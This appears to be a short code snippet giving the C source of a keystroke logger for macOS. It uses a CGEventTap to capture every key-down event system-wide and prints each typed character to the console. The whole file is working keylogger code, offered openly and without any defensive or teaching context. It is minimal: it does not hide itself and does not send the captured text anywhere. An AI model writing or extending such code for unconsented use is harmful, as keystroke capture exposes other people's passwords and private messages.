Simple key logger for OS X using CGEventTap

main.c

// Super simple key logger that uses a CGEventTap to log
// the unicode strings for each key down event
// Doesn't handle special keys (enter, backspace, etc.)

#include <stdio.h>
#import <Carbon/Carbon.h>
#import <ApplicationServices/ApplicationServices.h>

CGEventRef loggerCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void* context)
{
    if (type == kCGEventKeyDown) {
        UniChar str[10];
        UniCharCount strLength;
        CGEventKeyboardGetUnicodeString(event, 10, &strLength, str);
        printf("%c", str[0]);
    }
    return event;
}

int main(int argc, const char * argv[])
{

    CFMachPortRef tap = CGEventTapCreate(kCGHIDEventTap,
                                              kCGHeadInsertEventTap,
                                              0, kCGEventMaskForAllEvents,
                                              loggerCallback, NULL);
    CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, tap, 0);
    CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
    CGEventTapEnable(tap, true);
    CFRunLoopRun();
    return 0;
}